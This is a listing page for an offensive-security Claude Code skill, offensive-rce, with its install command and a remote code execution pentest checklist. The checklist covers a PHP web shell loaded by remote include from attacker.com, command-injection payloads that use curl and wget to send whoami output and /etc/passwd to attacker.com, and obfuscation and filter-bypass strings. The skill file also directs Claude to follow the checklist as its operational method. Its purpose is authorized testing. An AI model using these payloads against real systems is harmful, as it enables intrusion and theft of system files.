Skip to main content
ClaudeWave
ES, Spanish
Skill8k estrellas del repoactualizado 16d ago

offensive-rce

This Claude Code skill provides a remote code execution testing checklist for identifying vulnerabilities across multiple attack vectors including OS command injection, server-side template injection, deserialization flaws, file upload exploits, XXE attacks, and dependency confusion. It applies a four-step methodology of identifying user input locations, submitting test payloads, bypassing protections, and confirming execution through harmless commands. Use this skill during web application penetration tests and bug bounty assessments when investigating potential code execution vulnerabilities.

Instalar en Claude Code
Copiar
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-rce && cp -r /tmp/offensive-rce/Skills/web/offensive-rce ~/.claude/skills/offensive-rce
Después abre una sesión nueva de Claude Code; el skill carga automáticamente.

SKILL.md

# SKILL: Remote Code Execution

## Metadata
- **Skill Name**: rce
- **Folder**: offensive-rce
- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/rce.md

## Description
Remote Code Execution testing checklist: OS command injection, SSTI-to-RCE, deserialization RCE, file upload RCE, XXE with SSRF to RCE, RCE via dependency confusion, and CVE-based RCE patterns. Use for web app pentests and bug bounty RCE discovery.

## Trigger Phrases
Use this skill when the conversation involves any of:
`RCE, remote code execution, command injection, OS injection, SSTI RCE, deserialization RCE, file upload RCE, XXE RCE, dependency confusion, code execution`

## Instructions for Claude

When this skill is active:
1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

---

## Full Methodology

# Remote Code Execution

occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.

## Shortcut

1. Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.
2. Submit test payloads to the input locations in order to detect potential vulnerabilities.
3. If your requests are blocked, try protection bypass techniques and see if your payload succeeds.
4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and, `sleep 5`.

## Mechanisms

### Code Injection

This program takes a user input string, pass it through `eval()` and return the results:

```python
def calculate(input):
  return eval("{}".format(input))

result = calculate(user_input.calc)
print("The result is {}.".format(result))
```

an attacker could provide the application with something more malicious instead:

```http
GET /calculator?calc="__import__('os').system('ls')"
Host: example.com
```

### File Inclusion

making the target server include a file containing malicious code.

```php
<?php
  // Some PHP code

  $file = $_GET["page"];
  include $file;

  // Some PHP code
?>
```

if the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.

```php
<?PHP
  system($_GET["cmd"]);
?>
```

and then they can run commands:

```http
http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
```

### Command Injection

Untrusted data flows into OS command execution APIs.

Examples:

```python
subprocess.run("ping -c 1 " + user, shell=True)  # vulnerable
subprocess.run(["ping", "-c", "1", user], shell=False)  # safer
```

Detect via time/delay payloads (`&& sleep 5`), OAST/DNS callbacks, and out-of-band responses.

### Server-Side Template Injection (SSTI)

User-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.

Probe with arithmetic/concat markers, escalate using engine-specific object graphs. Tools: `tplmap`.

### Insecure Deserialization

Deserializing untrusted data (Java, .NET, PHP, Python `pickle`) can trigger gadget chains to RCE.

Test with known gadget payloads (e.g., `ysoserial`, `marshalsec`), and observe blind effects via OAST.

### Unsafe YAML and Config Parsers

Loading YAML with object constructors (`yaml.load` vs `safe_load`) can lead to code execution.

### File Upload → Processing Chains

Upload parsers (ImageMagick, ExifTool, video transcoders) may execute/parse complex formats leading to RCE. Test with harmless PoCs and OAST.

## Hunt

### 1. Identify Input Vectors

Map all user-controlled input that could lead to code execution:

- **Command-line argument injection**: APIs that execute shell commands, CLI tools, system utilities
- **Template engines**: User-provided templates or template variables (Jinja2, Twig, Freemarker, Thymeleaf, ERB, Handlebars)
- **File uploads**: Server-side processing of images, documents, archives, media files
- **Deserialization endpoints**: APIs accepting serialized objects (Java, .NET, Python pickle, PHP serialize, Ruby Marshal)
- **Expression Language fields**: Search filters, calculations, dynamic queries (SpEL, OGNL, MVEL, EL)
- **Webhook URLs**: Server-side fetches triggered by user-supplied URLs
- **Log file paths**: Log injection leading to log processing (LogForge, Log4Shell)
- **Configuration files**: Upload or modification of config files (.htaccess, web.config, cron jobs)
- **Email/document processing**: Mail parsers, PDF generators, office document converters
- **Image manipulation**: ImageMagick, GraphicsMagick, Pillow, GD library operations
- **Video/audio processing**: FFmpeg, ExifTool, media transcoders

### 2. Test Payloads by Context

#### Command Injection Payloads

**Linux/Unix:**

```bash
# Basic injection
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)

# Time-based detection
; sleep 10
| sleep 10 &
|| ping -c 10 127.0.0.1

# Out-of-band (OAST)
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)

# Space bypasses
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
X=$'cat\x20/etc/passwd'&&$X

# Command obfuscation
c''at /etc/passwd
c\at /etc/passwd
c"a"t /etc/passwd
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)

# Wildcard injection
/???/??t /???/??ss??
/???/n? 127.0.0.1

# Variable expansion
a=w;b=hoami;$a$b
```

**Windows:**

```cmd
# Basic injection
& whoami
&& whoami
| whoami
|| whoami
; whoami

# Newline injection
%0a whoami

# Time
offensive-active-directorySkill

Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.

offensive-advanced-redteamSkill

Comprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.

offensive-ai-securitySkill
offensive-anti-forensicsSkill

Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.

offensive-api-abuseSkill

Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.

offensive-api-securitySkill

Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.

offensive-basic-exploitationSkill
offensive-bluetooth-bleSkill

Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.